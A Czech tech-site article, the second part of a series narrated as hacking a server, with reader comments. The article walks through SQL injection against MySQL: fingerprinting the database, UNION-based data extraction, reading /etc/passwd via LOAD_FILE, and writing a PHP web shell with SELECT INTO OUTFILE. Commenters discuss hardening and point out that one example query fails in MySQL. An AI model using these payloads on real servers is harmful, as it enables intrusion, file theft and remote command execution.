Přejít k navigační liště

Zdroják » Různé » Jdu hacknout váš server… díl 2

Jdu hacknout váš server… díl 2

Články Různé

V minulém díle jsem na cílovém serveru objevil bezpečnostní trhlinu (SQL injection) a připravil jsme si další postup. Nyní si z databáze konečně něco vypíšu – rozhodně seznam uživatelů (a hesla, pravděpodobně zahashovaná), s trochou štěstí systémové soubory. Prozatím ale skromně začnu zjištěním metadat: verze a typ databáze a názvy důležitých tabulek a sloupců.

Detaily o databázi

Začněme typem databáze, protože zjištění verze se podle něj liší.

Většina nezabezpečených stránek poběží na MySQL. Nemám to statisticky podložené, shodneme se ale, že klíčový business použije databázi od Oracle nebo Microsoftu, a to není není sféra, kde programátor nechá neošetřený vstup. MySQL potkáme nejčastěji, výjimečně PostgreSQL.

Snad ve všech databázích funguje tradiční blokový komentář /* */. Řádkové komentáře se liší # (MySQL) a -- (PostgreSQL, MySQL). Mimochodem, není-li za pomlčkovým komentářem mezera, může se chovat všelijak; minimálně jednou jsem se na to nachytal a strávil čas hledáním problému. Než studovat dokumentaci a bugy konkrétní verze, je lepší občas psát takovéhle delší, někdy zbytečné, konstrukce.

Kromě těchhle tří komentářů poskytuje MySQL podporu pro podmíněné komentáře. Příkaz

SELECT /*! 2, */ 1

vrátí v MySQL dva sloupečky (2, 1), všude jinde jenom jeden (1). Podle představivosti můžeme do komentáře napsat syntaktickou nebo logickou chybu, oblíbené je dělení nulou. Pokud příkaz selže, máme tu čest pracovat s MySQL. A protože máme jenom dvě možnosti, v druhém případě očekáváme PostgreSQL. Kdybychom určili typ špatně, nic se neděje, jenom nám něco nebude fungovat podle očekávání a v ten moment můžeme vše přehodnotit. Jenom tím nejspíš ztratíme nějaký čas.

Podmíněné komentáře jsou ještě dál a pokud vykřičník následuje číslo verze, spustí se obsah pouze na revizi s touto nebo vyšší verzí.

SELECT /*!35201 1/0 */

Je zbytečné inkrementovat od nuly, můžeme intervaly půlit a dostat logaritmickou náročnost. A kromě toho, bohatě stačí znát číslo major a minor revize. Build/patch verze syntax nemění a funkčnost nepřidává.

Doporučuji kouknout na detailní SQL Injection Cheat Scheet, často citovaný tahák o SQL injekcích.

Čtení z databáze

Řekněme si, jak přes SQL injekci vypsat data z jiných tabulek, a když se poštěstí, i schémat. Slouží k tomu klíčové slovo UNION. Že pracujete s SQL denně a skoro ho neznáte? Psát jej v kódu je trochu kontroverzní, ale jako goto má svoje místo. Můžete si přečíst dokumentaci, ale názorné příklady jsou bezesporu lepší:

(SELECT 1) UNION (SELECT 2)

SELECT 1 UNION SELECT 2

Vrací dva řádky o jednom sloupečku (1), (2). Když si představíme naší SQL injekci, máme něco takového:

SELECT * FROM articles LIMIT 50 OFFSET 50 * 0 UNION SELECT 2

Jinými slovy, když dosadíme za číslo stránky 0 UNION SELECT 2, vypíše se obsah druhého SELECT, který máme plně pod kontrolou. Jedinou podmínkou je, že spojované tabulky mají stejný počet sloupců a často musejí mít stejný datový typ (záleží na verzi a možná i na nastavení, to nevím jistě). Protože nevíme, jak vypadá původní příkaz, musíme použít hrubou sílu. Napíšeme si nástroj, který vyzkouší 0 UNION SELECT NULL, 0 UNION SELECT NULL, NULL atd. Výstup, který se bude od ostatních lišit, nám řekne počet políček původní tabulky. Jestli je problém dosazovat NULL, je nutné psát celé typy. Číslo není problém, string musíme většinou psát v šestnáctkové verzi (v SQL injection máme uvozovky k dispozici málo kdy). K tomu můžeme kupříkladu využít nějaký skript nebo naši vlastní databázi:

SELECT CONCAT('0x', HEX('text k zakódování'))

Další častý datový typ je datetime, které má sice vlastní formát, ale nám stačí pro testování využít funkci Now().

Spojení často umře nad rozdílným kódováním ( ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'). Dá se přejít klíčovým slovem COLLATE, vyžaduje ale uhádnutí kódování původních sloupců. Tradiční jsou utf8_general_ci, utf8_czech_ci, u některých systémových schémat mohou být různé verze latin ( latin1_general_bin).

Metadata

Konečně máme připravenou SQL injekci – tedy union se správným počtem sloupců – ale nemáme co vypsat. Určitě můžeme zkusit pár základních názvů tabulek ( user, uzivatel a plurály) a sloupců ( username, user, nick, pass, passwd, password, jmeno, uzivatel, heslo, …). Jestli se netrefíme – jako že většinou se trefíme, programátor nemá důvod je pojmenovávat jinak – tak je dobré začít v html. Vývojář chce jednotné názvy vstupů v html, proměnných v aplikaci a sloupců v databázi – to mu většinou dělá framework, můžeme se ale domnívat, že žádný nepoužívá, jinak by napsal bezpečnější aplikaci. V html nás zajímá atribut name, ale můžeme zkusit i id, případně podle situace. Rychlá metoda a často někoho nenapadne, asi právě pro svoji triviálnost.

Pokud hádání selže, musíme na to jít trochu víc profesionálně. Novější databáze mají information_schema, které obsahuje mimo jiné tabulku tables a columns. Můžeme si zavolat

SELECT table_name FROM information_schema.tables GROUP BY table_name

SELECT table_name, column_name FROM information_schema.columns

Problém jsou starší databáze, které toto schéma nemají. Původní konstrukce SHOW TABLES v SQL injection využít nejde; především proto, že nejde spojit přes union. Ale i u databází, které toto schéma mají, může být další bariéra: oprávnění uživatele, pod kterým se webová aplikace přihlašuje, může zakazovat toto schéma číst.

Jestli nás potkala smůla a stále nemáme tabulku uživatelů nebo sloupce, které chceme vypsat, musíme zkoušet hádat dál. A nebo můžeme zkusit rozbalit dáreček, který nám nachystal administrátor nedouk.

Čtení souborů přes databázi

MySQL má zabudovanou funkci Load_file() , která načte a vypíše soubor. Většina souborů z /etc  je world readable, testovat můžeme kupříkladu na

SELECT Load_file('/etc/passwd')

Jenom výjimečně se nám toto poštěstí, protože uživatel musí mít povoleno oprávnění FILE. Kromě toho nám databáze nevrátí soubor větší než konstanta max_allowed_packet. Také nás omezuje oprávnění uživatele, pod kterým běží web server (tradičně účet www-data, někdy httpd nebo nobody). A aby toho nebylo málo, výstup se ořízne na velikost datového typu sloupce, do kterého pomocí Load_file() vybíráme.

I přes všechna omezení je toto výborný pomocník, protože si pomůžeme k zdrojovému kódu webové aplikace. Další krok je hledat nové skuliny (ideální v kombinaci s register globals). Když nyní víte, k čemu oprávnění FILE doopravdy je, zkontrolujte svoje servery a všem uživatelům jej odeberte.

Zapisování přes databázi

Komplementárně k Load_file  existuje i SELECT INTO OUTFILE .

SELECT "foo bar" INTO OUTFILE '/tmp/result.txt'

Zneužití je nasnadě; můžeme měnit některé soubory a vytvářet nové. Je libo vlastní php shell?

SELECT "<?php passthru($_GET['q']);" INTO OUTFILE '/var/www/document_root/shell.php'

Mimochodem, je lepší použít <?php passthru(isset($_POST['q']) ? $_POST['q'] : $_GET['q']) ?> protože GET se sice lépe upravuje, ale má na rozdíl od POST omezenou délku a loguje se. Nezapomeňte, že zatím máme jenom hodně omezené možnosti. Nevidíme chybový výstup (stderr), pouze stdout, a neužijeme si aplikace, které přijímají jiný vstup než argumenty při spuštění.

Pochopitelně nesmí být zapnutý safe mode, ale přiznejme si, že tam, kde je povoleno zapisování souborů databází, bychom ho zapnutý ani nečekali. Navíc můžeme přečíst php.ini, upravit a zapsat zpět bez safe_mode, pokud je zapisovatelný. Jestli má webový uživatel patřičné oprávnění, můžete risknout restart serveru (ideálně tak, aby si nikdo výpadku nevšiml), obecně je lepší počkat, až si ho administrátor restartuje sám (smůla, když má běžný uptime v řádech měsíců).

Obrovské omezení je, že cesta k souboru musí být string v uvozovkách nebo apostrofech. Toto je (jediná?) výjimka, kde se nedá string předat v hexadecimálním formátu. To znamená, že při magic_quotes máme prakticky smůlu.

Pokračování

Je nasnadě, že ani v této fázi ještě nemáme vyhráno. V dalším článku budu psát o tom, jak využít náš php shell, dostat se na root účet a k přístupu na ssh.

Komentáře

Subscribe
Upozornit na
guest
30 Komentářů
Nejstarší
Nejnovější Most Voted
Inline Feedbacks
View all comments
hide

Tak jak jsem si tohle precetl, tak mne polil pot. Kdyz si predstavim co zakaznici maji za diry v PHPcku na nasich serverech … a samozrejmne

SELECT „foo bar“ INTO OUTFILE ‚/tmp/result.txt‘;

fungovalo.

Bohuzel MySQL nema moznost tohle centralne vypnout, takze jsem to musel udelat na urovni useru.

Nastesti funguje:

update user set File_priv=’N‘, Shutdown_priv=’N‘;
flush privileges;

Diky moc za tenhle clanek.

tomo_tn

SELECT „foo bar“ INTO OUTFILE ‚/tmp/result.txt‘;

U mna nastastie nefungovalo, a celkovo som sa snazil riesit rozhranie pre pracu z DB velmi jednoducho a priamociaro, ale i tak by ma zaujimalo nakolko som to sprasil…
Popravde po precitani druhej casti clanku som asi 20 minut rozmyslal a zasol nad tym „co vsetko sa da vymyslet“ a vecsina z toho ma ani len netrkla :)

Ak by sa nasiel nejaky dobrovolnik na test poprosim nech sa ozve na tomo.hornacek@gma­il.com

Ruenix

Zrovna nad /tmp to nemá moc vypovídající hodnotu, stejně jako čtení /etc/passwd. Většina moderních distribucí má nějakou bezpečnostní nadstavbu (selinux, apparmor), která přístupy hlídá a zrovna tyhle lokace jsou minimálně u apparmoru povolené. Takže když jsem to zkoušel u nás, tak passwd si přectu, ale jiné soubory (byť s právy 666) ne.

kei.101

Máte někdo zkušenosti se zabezpečením jednoduchých WSGI aplikací? O tom by mě zajímal článek…

danaketh

A proto je při vytváření uživatelů jediný správný přístup přiřazování pouze těch oprávnění, která reálně využijí. Bohužel si spousta adminů usnadňuje práci přes ALL PRIVILEGES, aby nemuseli řešit případné problémy, kdyby se náhodou nějaká aplikace zbláznila a chtěla třeba zamykat tabulky. Případně nemají šajn jak to funguje, což je ještě horší.

j

„Nemám to statisticky podložené, shodneme se ale, že klíčový business použije databázi od Oracle nebo Microsoftu, a to není není sféra, kde programátor nechá neošetřený vstup.“

Tohle bych se tvrdit neodvazil, neb s nekolika firemnimi aplikaceni rekneme stredniho az vetsiho rozsahu mam tu cest, a derave je to jak reseto (doslova).

František Kučera

+1 taky mne tahle věta zarazila. Děravých webů postavených nad MS technologiemi jsem viděl až až – tam je snad penetrace bastlířů vyšší než u PHP. S Oraclem to bude trochu lepší, protože ne každý na to má (peníze, hardware, znalosti), ale taky už jsem vidět exoty, kteří si nainstalovali bezplatnou verzi a postavili nad tím úplnou hrůzu.

okbob

Copak webů – ale aplikací – většina aplikací z 90 let, pokud neprošla zásadní renovací je děravá – a k některým z nich se dodělal i vzdálený přístup. Tipoval bych, že 1/3 profesionálních programátorů neví o SQL injection dodnes.

František Kučera

K tomu vzdálenému přístupu – něco pro pobavení: http://hysteria.sk/~niekt0/advisory/rdesktop_fun/ :-)

j

Ono zalezi, co se mini pod pojmem bastlir … vs pripadne profesional …

Pokud totiz vemu hledisko financniho ohodnoceni, tak uz sem potkal spoustu profesionalne placenych bastlicu, ktery jen lepej kod aby to „nejak“ fungovalo (= delalo priblizne to, co zakaznik chce) a nejakym resenim bezpecnosti nebo osetrovanim chyb se vubec nezabejvaj. Samo jejich sprasenina vyzaduje idealne administratorska prava, protoze leze vsude mozne a ani autori nevedi, kam vlastne jaka prava potrebuji => 777 je bezne doporuceni … lol
Vysledek je ten, ze kdyz se neco nekde podela, tak se neda prakticky ani zjistit proc. (zadny logy, proste nic…)

Prozmenu znam spoustu amateru, kteri odvadeji profi praci => vsechno se pekne loguje, vsechny vstupy pocitaji s cimkoli (a to i v pripade, ze „to se proste nemuze stat“) a samo vse bezi s minimalnimi nutnymi pravy.

Jirka

Je hezké vědět, že vaší/náší aplikaci dokáže prolomit každý fundovanější člověk, ale ruku na srdce. „No a Co?“ U blogu a eshopu, tak uteče co kdo v kolik, za kolik. Případně nějaká ta adresa a číslo účtu. Nic co bych si jednoduchým crawlerem nedokázal zjistit rychleji a snadněji.

Pokud si určíme cenu daných informací zjistíme že takovou cenu nemají, aby se je vyplatilo chránit.
Horší jsou díry, které mohou vést, až do přístupu k systému, ale to se dá elegantně řešit nastavením práv pro komponenty tvořící aplikaci.

Stačí si stáhnout crawler, který prohledává inputy a cpe do nich nejznámější injecty. Já ho mam nastavený cca na 150 klíčů. Pokud tyhle testy projdou žádný hacker se nebude dál náhodně dobývat do systému. Pokud si někdo vyhlédne vaší aplikaci, že jí prolomí a bude chtít investovat peníze a čas. Tak jí stejnak dřív nebo později prolomí.

A proc vlastně něco hackovat? Stačí si sednout do internetové kavárny, nebo se připojit do kolejní sítě. A bedlivě naslouchat.

okbob

U špatně napsaného eshopu může utéci číslo kreditní karty. A taky s reputací na tom budete dost špatně – docela bych si rozmyslel a nebudu sám, kdo by provedl platbu v eshopu, kterému utekly citlivé údaje a dostalo se to ven – kdo ví, co ještě dalšího tam může být zpytlíkované?

Navíc dost uživatelů používá jeden username, jedno heslo – takže získaná data mohou být využita jinde. U malých eshopů je to jedno – žádnou reputaci nemají, a tudíž nemohou nic ztratit – podvodných eshopů jsou desítky. Zavedenému eshopu to ovšem může dost nabořit byznys.

Kdo nedokáže ochránit aplikaci proti jednoduchému útoku jako je SQL injection, tak ji asi těžko dokáže uchránit proti složitějším útokům.

Čelo

Který eshop si ukládá čísla kreditních karet?

František Kučera

Třeba tenhle :-)

K dobru jim lze přičíst snad jen to, že čísla karet a fakturační adresy byly údajně šifrované. Nicméně k tomu, zda se je útočníkům podařilo dešifrovat se staví trochu vyhýbavě: „Zatím jsme nezaznamenali žádný případ, kdy by kreditní karty nebo fakturační adresy byly nějak zneužity“ (a vyzývají uživatele, aby pečlivě kontrolovali výpisy z bankovních účtů).

avp8

popř zoohit.cz/sk..etc. Když jsem jim napsal že se mi to nelíbí (bez zeptání a bez možnosti to číslo smazat/přepsat) tak mi odpověděli že se nemám bát že jejich systém je dokonale zabezpečen….ale že mi ho na žádost ochotně z účtu vymažou..

Jirka

Eshop nemá důvod po Vás číslo kreditních karet chtít. A pokud mě při volbě platbě kreditní kartou nepřesměruje na zabezpečený zdroj třetí strany, kde platbu provedu. Tak ve eshopu neobjednávám.

Ano,máte pravdu. Do systému, který spravuji se uživatele hlásí emailem a heslem. Pro problémech s neautorizovenému přihlašování (pod heslem uživatele) do systému jsem udělal kontrolu. Cca 30% lidi se pokoušelo po zneplatnění všech hesel. Vytvořit nové heslo, pod kterým se dalo přihlásit do daného emailu. A to bylo v emailu upozornění ať takovéto heslo nedávají. Cca dalších 40% má slovníkové heslo, to sice není asi takový problém, protože po 10 neúspěšných přihlášeních se login blokuje, ale to také mnoho aplikací nemá.

„Zavedenému eshopu to ovšem může dost nabořit byznys.“ – problém je, že se to většinou nezjistí.

Já jsem nechtěl příspěvkem říct, že ochrana není důležitá. Ale chtěl jsem upozornit, že je důležité si říct, jaké informace a jak moc chránit.
Třeba u čísel kreditních karet, bych se nebál použít nějaké šifrování a ukládat jen šifrovaný string.

Pokud je kvalitně nastavený systém, tak je tento článek trochu mimo.
Třeba netuším proč by uživatel pod kterým běží databáze měl mít přístup k /etc u příkladu SELECT Load_file(‚/et­c/passwd‘).
Řeší se tu problémy které by se neměli řešit na aplikační vrstvě, ale na vrstvě systému, dle mého názoru jednoduší, elegantnější, levnější.

okbob

To co je zásadní je otázkou důvěryhodnosti – a otázka implementace.

Myslím si, že pouze s prostředky, které dnes nabízejí SQL databáze lze postavit velice bezpečný systém s minimálními důsledky kompromitace některého uživatelského účtu – bezpečněji než šifrování (protože někde v kódu bude k dispozici metoda pro dešifrování) – přičemž platí, že na klasickém hostingu nelze zaručit bezpečnost (což neznamená, že se o ni nemáme snažit), a je nutné okamžitě zahazovat data, která nejsou nezbytně nutná.

S vlastním železem se bezpečnost zajistit dá – na několika úrovních – a minimálně databáze poskytují dostatečné prostředky pro minimalizaci dopadů průniku (jednoduché, neprůstřelné – jen je začít používat).

> „Zavedenému eshopu to ovšem může dost nabořit byznys.“ – problém je, že se to většinou nezjistí.

Asi ne všechno se dostane na veřejnost – v každém případě to provozovatele něco bude stát, takže si na to pravděpodobně dá velký pozor. Doufám – u některých větších společností jsem se setkal s docela důraznou a koncepční bezpečnostní politikou – takže tam je alespoň určitá naděje. Větší riziko vidím u malých specializovaných eshopů, kde osobně bych nikdy nepoužil platbu kartou nebo jiné než jednorázové heslo.

j

Tak napriklad u toho eshopu muzete nejen dostat velmi slusnej (v milionech) flastr, ze nezabezpecujete data zakazniku, ale jako bonus vas muzou zalovat ty zakaznici (o dalsi miliony).

A specielne v pripade, ze se prokaze, ze ste nepodniknul ani ty nejzakladnejsi kroky, tak nemate zadnou sanci u soudu uspet.

Jirka

Když si přelouskáte zákon na ochranu osobních údajů ( tedy já jsem louskal, nejsem právník), tak zjistíte zajímavé věci. A troufal bych si říct, že flastr by mohlo dostat až 50% eshopu. Ale oni tam jsou takové obezličky, které vám vysvětlí až právník, že ten zákon je vlastně k ničemu.

Aby mě mohli zažalovat zákazníci, tak by daný hacker musel říct, že ty data získal. A samozřejmě by se vyšetřovalo jak je získal byl by v průšvihu i on. Tak proč by to dělal?

František Kučera

A když anonymně uniknou a objeví se někde na webu, tak to nestačí jako důkaz, že je získal někdo nepovolaný?

j

Presne tak, kdyz se nekde po netu budou povalovat data, ze kterych bude jednoznacne videt odkud pochazi, tak muzu zalovat toho, kdo ta data nezabezpecil a je mi celkem uprdele jestli ho nekdo hacknul, nebo jestli to pustil do sveta jeho zamestnance.

Jirka

Ktery „crawler“ doporucujete?

Ash

Hackování není jen o krádeži dat, můžete na server také umístit reklamu a máte na čas třeba i dost lukrativní reklamní prostor zdarma, za což vám inzerent štědře zaplatí.

Jakub Vrána
  • Není mi jasné, proč se používá příklad, který nefunguje v MySQL: SELECT * FROM articles LIMIT 50 OFFSET 50 * 0 UNION SELECT 2. MySQL musí mít za klauzulí OFFSET číslo, obecný výraz způsobí syntaktickou chybu.
  • V MySQL se dá použít COLLATE binary, které je kompatibilní s jakýmkoliv způsobem porovnávání.
  • Pro funkčnost LOAD_FILE nejsou důležitá práva uživatele, pod kterým běží web, ale toho, pod kterým běží databázový server, kde se také tato funkce vyhodnocuje.
  • Strašně rád bych se dozvěděl, jak se dá v MySQL 5 znepřístupnit databáze information_sche­ma.
danaketh

– protože se Anonymní Hacker zamotal v popisování příkladů pro různé databáze :)

– to bys musel lidi donutit chodit na školení nebo alespoň číst manuál

– navíc je potřeba mít FILE oprávnění a soubor musí být menší než je nastaveno v max_allowed_packet. údajně navíc musí být soubor čitelný kýmkoliv (asi by stálo za zkoušku). Takže pokud má admin rozum, je tahle funkce nepoužitelná.

– information_schema stejně ukazuje jen metadata pro daného uživatele, takže pokud má každá databáze vlastního uživatele s omezením právě na sebe, je to vcelku fuk IMO.

Netuším jak jsou na tom běžné hostingy ale já uživatelům FILE rozhodně nedávám a navíc mám secure_file_priv nastaveno do /tmp/mysql pro případ, že bych snad náhodou někdy…

Pilgrim

ale jako článek jak zabezpečit ještě více své aplikace a servery… Já jsem se třeba dozvěděl, že v podstatě na tom nejsem nejhůř, ale ani nejlíp. Na databázi používám separátní uživatele a dávám jim práva USE (select, insert, update, delete). Plus jednotlivé weby (domény) jsou děleny také na uživatele zvlášť, atd. atd. K programování většinou používám frameworky, které mají třeba SQL injection už většinou pohlídané a když ne, není nic jednoduššího než kontrolovat hodnoty, který přicházejí. Dnes už asi není potřeba něco tak ukrutně vyloženě hackovat, všechno se dá při nejhoršim vyparsovat bez větších problémů přímo ze stránek, pokud někomu nejde o účty adminů apod.

vks

„a to není není sféra, kde programátor nechá neošetřený vstup“
lollol rofl.
prave to je sfera, kde se toci nejvic penez a proto se tam ochomyta nejvic neschopnych kretenu, kteri nejsou schopni ani pochopit, ze sql dotazy a xml se nemuzou tvorit slucovanim stringu bez kontroly a pojisteni nezavadnosti obsahu.

regiss

Zajimavy projekt, pokud neznate
https://www.owasp.org/index.php/Main_Page

Ash

<i>Mimochodem, je lepší použít <?php passthru(isset($_POS­T[‚q‘]) ? $_POST[‚q‘] : $_GET[‚q‘]) ?> protože GET se sice lépe upravuje…</i>

To isset?: v kontextu nedává moc smysl, to q tam posílám já, takže pokud ho posílám přes GET, použiji v injection GET, pokud přes POST, použiji POST. Leda kdybych byl sklerotik a zapomněl co vlastně zrovna dělám, použiji isset :)

Lojza

Ani MSSQL není argumentem pro kvalitního programátora a protože se Oracle víc než desetiletí kupoval jen proto, že jeho pád nešlo svádět na admina, je i v jeho případě předpoklad dost vedle.
PPF banka měla svou báječnou aplikaci na bankovnictví od jakési české firmy, kde panovalo zděšení z růstu linuxu (jejich reakce byly vysloveně legrační). Takže aplikace byla čistě wokení, pod wine nefungovala a vyžadovala admin práva na lokálu, aby vůbec běžela. Těch cest, kterými bylo možné se do aplikace probourat byla řada a některé spočívaly třeba v chybně ošetřeném vstupu uživatelského jména. Číst data o úkonech s účtem tedy mohl prakticky kdokoliv. A to máme MSSQL a bankovní odvětví, tedy teoreticky to nejhládanější.

Enum a statická analýza kódu

Mám jednu univerzální radu pro začínající programátorty. V učení sice neexistují rychlé zkratky, ovšem tuhle radu můžete snadno začít používat a zrychlit tak tempo učení. Tou tajemnou ingrediencí je statická analýza kódu. Ukážeme si to na příkladu enum.